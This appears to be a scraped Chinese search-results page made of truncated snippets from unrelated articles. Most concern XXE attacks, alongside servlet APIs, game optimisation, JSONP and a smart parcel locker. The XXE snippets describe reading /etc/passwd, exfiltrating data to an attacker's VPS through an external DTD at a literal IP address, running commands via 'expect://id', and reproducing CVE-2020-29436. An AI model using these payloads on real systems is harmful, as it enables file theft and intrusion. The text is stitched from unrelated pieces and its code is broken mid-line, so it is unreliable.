HttpServletRequest request){ int[] ports = new int[3]; ports[0] = request.getServerPort(); //获取服务器端口...= new String[12]; strings[0] = request.getSession().getServletContext().getRealPath("/"); //获取项目所在服务器的全路径...request.getServletPath(); //获取客户端请求的路径名 /user/test strings[2] = request.getServerName(); //获取服务器地址...http://localhost:8088/user/test strings[10] = this.getClass().getResource("/").getPath(); //获取类加载的根路径...classes/ strings[11] = this.getClass().getResource("").getPath(); //获取当前类的所在工程路径; 如果不加“/” 获取当前类的加载目录
对一个项目来说，优化是整个团队的事情，包括策划、美术、客户端程序和服务器程序等同事都需要参与进来。...像上图所示，在技术内测的时候因为太远，Streaming（流式加载）物件无法加载，使得这个区域看起来十分地空。...多人战斗是非常动态的环境，所以我们设计了一套测试机制，协同服务器、客户端和QA Team一起选择稳定的服务器和客户端版本，部署在几乎接近于真实的外网测试环境，测试服务器长期地在同一位置进行大量角色的耗费性能模拟...由于多人场景是一个非常动态的情况，所以会存在非常频繁地加载和释放的调用，为了防止卡顿，我们针对加载创建做了非常多的平滑处理。...例如，我们给定运行时候的角色加载数目上限，我们给Streaming（流式加载）和Loading（底层加载）层控制任何Geometry（物件）和材质的创建数目，甚至包括根据移动来加载的植被，也有平滑加载的机制来防止系统在过度震荡的情况下引起卡顿和多余的计算开销
web项目中,我们一般都需要用properties文件存储一些数据的,但是我们进行对properties的文件进行了数据修改之后,发现已经运行的项目读取的properties里面的数据还是原来的,必须重启服务器
DTD可以完全独立地包含在文档本身中（称为“内部DTD”），也可以从其他位置加载（称为“外部DTD”），也可以将两者混合使用。 什么是XML自定义实体？...DTD可以完全独立地包含在文档本身中（称为“内部DTD”），也可以从其他位置加载（称为“外部DTD”），也可以将两者混合使用。 什么是XML自定义实体？ XML允许在DTD中定义自定义实体。...然后，攻击者必须将恶意DTD托管在他们控制的系统上，通常是将其加载到自己的Web服务器上。...这将导致XML解析器从攻击者的服务器获取外部DTD并内联解释。然后执行恶意DTD中定义的步骤，并将/ etc / passwd 文件传输到攻击者的服务器。...基于错误（外部DTD） 在这种情况下，我们将使服务器加载一个恶意DTD，该DTD将在错误消息中显示文件的内容（仅当您可以看到错误消息时才有效）。
DOCTYPE 根元素 SYSTEM "DTD文档路径"[定义内容]> 其中第二三种类型中的SYSTEM是一种标识符，可以理解为：根据DTD文件路径，加载这个文件的内容，并赋值给前面的根元素，该标识符意味着该实体将从外部来源获取内容...XXE漏洞原理 既然XML可以从外部读取DTD文件，那我们就自然地想到了如果将路径换成另一个文件的路径，那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中，只要我们在XML...另外，一般来说，服务器解析XML有两种方式，一种是一次性将整个XML加载进内存中，进行解析；另一种是一部分一部分的、“流式”地加载、解析。...如果我们递归地调用XML定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，造成了拒绝服务攻击。...若使用XMLreader来解析实体的，可以在加载实体前加上下面这段来禁止解析实体。 <?
xxe即"XML外部实体注入漏洞"，顾名思义，是由于XML允许引入外部实体导致的漏洞，当程序没有禁止或者对外部实体做验证，攻击者构造特殊的xml语句传到服务器，服务器在传输给XML解释器，xml解释器根据外部实体进行处理后返回对应的内容给服务器...DOCTYPE 根元素名 SYSTEM "xxx.dtd"> 1.2.2 PUBLIC关键字 PUBLIC适用于引用外部服务器上的公共dtd文件 <?...payload传到xml解析器让其执行获取内容，从而造成了文件读取 其原理也是因为允许外部实体的加载，导致可以加载本地的文件 <!DOCTYPE passwd [ <!...，xml解释器处理完后，不会输出我们想要的内容，此时需要通过数据外带的方式，通过在自己的服务器上开启一个监听端口，然后通过外部dtd文件访问服务器端口带上读取到的内容，这样子就可以监听到了 盲注需要用到参数实体
xxe即"XML外部实体注入漏洞"，顾名思义，是由于XML允许引入外部实体导致的漏洞，当程序没有禁止或者对外部实体做验证，攻击者构造特殊的xml语句传到服务器，服务器在传输给XML解释器，xml解释器根据外部实体进行处理后返回对应的内容给服务器...> SYSTME关键字适用于引用系统文件夹下的dtd文件 ```xml ``` ### 1.2.2 PUBLIC关键字 > PUBLIC适用于引用外部服务器上的公共dtd文件 ```xml...- DOS攻击 - 内网端口探测 - ... ... ## 7.1 文件读取 - file协议 - php伪协议 ### 7.1.1 file协议 > 文件读取在XXE利用中是最常见的，通过加载外部实体构造恶意的...payload传到xml解析器让其执行获取内容，从而造成了文件读取 > 其原理也是因为允许外部实体的加载，导致可以加载本地的文件 ```xml ]> &passwd; ``` > 通过构造上述的...，xml解释器处理完后，不会输出我们想要的内容，此时需要通过数据外带的方式，通过在自己的服务器上开启一个监听端口，然后通过外部dtd文件访问服务器端口带上读取到的内容，这样子就可以监听到了 > 盲注需要用到参数实体
但是在大多数情况下，即使服务器可能存在XXE漏洞，服务器也不会向攻击者的浏览器返回任何响应。遇到这种情况，可以实现OOB(out-of-band)信息传递和通过构造dtd从错误信息获取数据。...错误获取数据：通过构造dtd然后从错误中获取数据 通过OOB进行目录浏览和任意文件读取 注：Linux机器可以目录浏览和任意文件读取，Windows机器只能任意文件读取 Blind XXE是由于虽然目标服务器加载了...那么，我们是否可以想其他的办法，将服务器读取的数据传送给我们的VPS呢？...除此之外，我们也可以使用 http URI 并强制服务器向我们指定的端点和端口发送GET请求，将 XXE 转换为SSRF（服务器端请求伪造）。...如果我们足够幸运，并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上，那么我们就可以执行如下的命令： <!
2）什么是DTD DTD（document type definition）文档类型定义用于定义XML文档的结构，它作为xml文件的一部分位于XML声明和文档元素之间，比如下面DTD 它就定义了 XML...XML外部实体是一种自定义实体，定义位于声明它们的DTD之外，声明使用SYSTEM关键字，比如加载实体值的URL： 这里URL可以使用file://协议，因此可以从文件加载外部实体。...ENTITY xxe SYSTEM "expect://id" >执行命令； c.）无回显读取本地敏感文件(Blind OOB XXE)，敏感数据从应用服务器传输到攻击者的服务器上。...ENTITY % dtd SYSTEM"http://197.37.102.90/ext.dtd"> %dtd; %send; ]]> 服务器在解析这个docx文件的时候，如果受害者开启了外部实体，XML...在收到请求调用之后，远程服务器会发送回 DTD 文件： 对于这个OOB XXE漏洞bp有个插件Collaborator client可以帮助测试： 在解压后的xml文件中插入链接，重新压缩上传即可： 若接收到请求
本地服务器www.taotao.com下有个test-json.htm页面代码如下： ? 调用本地服务器的test-json.htm页面： ?...原因： Script标签加载到资源后，会将资源当做是js脚本解析，但是我们返回的是json数据，所以导致解析失败。 解决： 必须返回js脚本。...3.2 返回js包装后的json 远程服务器remoteserver.com根目录下有个remote.js文件代码如下： alert('我是远程文件'); 本地服务器localserver.com...我们看到调用的url中传递了一个code参数，告诉服务器我要查的是CA1998次航班的信息，而callback参数则告诉服务器，我的本地回调函数叫做flightHandler，所以请把查询结果传入这个函数中进行调用...Jsonp的原理： jsonp通过script标签的src可以跨域请求的特性，加载资源 将加载的资源（通过一个方法名将数据进行包裹）当做是js脚本解析 定义一个回调函数，获取传入的数据 参考文章：【原创
> 第二行的“DOCYTPE”声明必须紧跟在XML 声明之后，这个声明会告诉服务器适用的servlet规范的版本（如2.3），并指定管理此文件其余部分内容的语法的DTD <!...//DTD Web Application 2.3//EN" "http://java.sun.com/dtd/web-app_2_3.dtd"> 第三行的标签或数字<0时，Tomcat启动时不会加载此servlet类，当然也就不会调用init()方法进行初始化，当用户首次访问时会加载类并初始化，所以此时第一次访问时可能会加载很慢
XML注入产生的原理 XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞，XXE漏洞发生在应用程序解析XML输入时，没有禁止外部实体的加载，导致可加载恶意外部文件... 可以看到应用程序确实是直接解析了xml，那么如果xml文档中有一个参数是用来调用远程服务器的内容？这个参数是可控的,我们可以做什么？...： (1) 客户端发送payload 1给web服务器 (2) web服务器向vps获取恶意DTD，并执行文件读取payload2 (3) web服务器带着回显结果访问VPS上特定的FTP或者HTTP...原理为：构造恶意的XML实体文件耗尽可用内存，因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中，解析非常慢，造成了拒绝服务器攻击。...影响: 此漏洞非常危险, 因为此漏洞会造成服务器上敏感数据的泄露，和潜在的服务器拒绝服务攻击。 防御方法： 1. 禁用外部实体 2. 过滤和验证用户提交的XML数据 3.
DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd...，用户样式加载渲染之后再从新显示文档，造成页面闪烁。...window 的 onload 事件需要在所有 iframe 加载完毕后(包含里面的元素)才会触发。 当 onload 事件加载延迟后，它给用户的感觉就是这个网页非常慢。...这意味着 iframe 在加载资源时可能用光了所有的可用连接，从而阻塞了主页面资源的加载。 如果 iframe 中的内容比主页面的内容更重要，这当然是很好的。...这也是为什么建议使用link方式来加载css，而不是使用@import方式。
0x02 漏洞概述 编号：CVE-2020-29436 /service/rest/internal/ui/saml接口允许加载外部dtd。...接着服务器重启服务，可以看到版本已经变成了pro ? 0x05 漏洞复现 访问： http://yourhost:8081/#admin/security/saml ?...在填入payload之前先用python起一个http服务 并在http服务的目录下写一个my.dtd文件，文件内容为： <!ENTITY % all " %dtd; %send; ]> xxe 拦截数据包再次发送 ?...得到ini文件内容，dtd文件被加载 ? 0x06 修复方式 及时升级到最新版本。 0x07 总结 在即将跪下的前一刻，站起来。
/dtd/mybatis-3-config.dtd"> <!...JNDI：由服务器提供连接池的资源，我们通过JNDI指定的名字去访问服务器中资源 --> <!
"http://struts.apache.org/dtds/struts-2.3.dtd"> 3.配置web.xml过滤器 我们的web服务器并不知道我们访问的是一个action...filter-name> /* 4.struts2基本原理 1.过滤器加载配置文件...在web服务器启动的时候，过滤器就会创建，然后在init方法就会加载struts2的核心配置文件，以及它自带的jar包中的配置文件 2.访问action执行方法 在访问的时候都被过滤器拦截到，然后转发到对应的类...，让这些类的对应方法执行 5.配置文件的拆分 可以拆分配置文件，但是子配置文件还是需要dtd，struts标签，然后主配置文件也是如此。
原理 既然XML可以从外部读取DTD文件，那我们就自然地想到了如果将路径换成另一个文件的路径，那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中，只要我们在XML中让前面的根元素的内容显示出来...另外，一般来说，服务器解析XML有两种方式，一种是一次性将整个XML加载进内存中，进行解析；另一种是一部分一部分的、“流式”地加载、解析。...如果我们递归地调用XML定义，一次性调用巨量的定义，那么服务器的内存就会被消耗完，造成了拒绝服务攻击。...DTD：Document Type Definition 即文档类型定义，用来为XML文档定义语义约束。...检测是否支持外部实体解析 尝试利用实体和DTD。 引用外部DTD文件访问内网主机/端口 ：<!
快递人员通过管理员系统提供的“快递员识别码”打开智能快递箱的存放物件模式，然后存放物件，并将存放物件后获得的所用箱子对应的唯一“提货码”发送给物主，完成快递员操作。...在本次设计当中，主控芯片就是来控制通信模块ESP8266成功连接上腾讯云服务器，并且能够及时向云服务器上报快递箱状态信息以及处理服务器传送的控制信息，从而完成监控和控制快递箱的功能。 ?...ESP8266在主要功能是将其设置成STA标准模式加入设备管理者的路由器，并打开自身透传模式利用MQTT协议，使得主控芯片能够通过ESP8266连接上腾讯云服务器，从而使得主控芯片与腾讯云服务器能够数据通信...再按下F1表示快递员存放好物件，箱子1关闭。 ? ? (5)当快递人员用箱子1存好物件并关闭箱子1之后，将返回到快递员存放物件模式的页面，此时可以看见箱子1的状态是ful（有物件状态）。...管理员操作系统.png （3）腾讯云平台部分 腾讯云平台部分是我作为开发者需要设计的部分，该部分的作用是定义智能快递箱的各项需要与腾讯云服务器进行数据交互的属性，也就是需要由腾讯云服务器进行监控的属性
DOCTYPE copyright [ DTD定义 定义元素 <!...引用程序在解析XML时，如果没有禁止外部实体的加载，理论上可以加载外部文件（操作系统层面的文件），可以造成文件读取，命令执行，内网端口扫描等。...，访问外部站点观察访问记录 访问记录存在，XXE漏洞存在，可利用带外通道获取数据，构造DTD如下 %test; %all; ]> aaa&info; 在web服务器上新建文件...ENTITY % test SYSTEM “http://your.web.server/test">的作用是引入在外部服务器上的实体，因为在本地的解释器中有可能不允许使用外部连接，即实体定义中不允许参数实体
DTD(文档类型定义) DTD（文档类型定义）的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明，也可以外部引用。 1、内部声明： 完整实例： DTD实体 DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量，可以内部声明或外部引用。...2、外部文档类型定义（DTD）文件可被用于触发OOB XXE。攻击者将.dtd文件托管在VPS上，使远程易受攻击的服务器获取该文件并执行其中的恶意命令。（不进行回显） ? 外部DTD的内容： ?...大概说一下原理，因为实战中大部分都是不进行回显，那么我们可以让服务器主动请求攻击者的VPS。...那么我们让服务器引用写在VPS的DTD然后他会将payload加载，然后带进并访问我们的VPS，然后我们的VPS查看access_log可以接受到payload返回信息： ?
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM
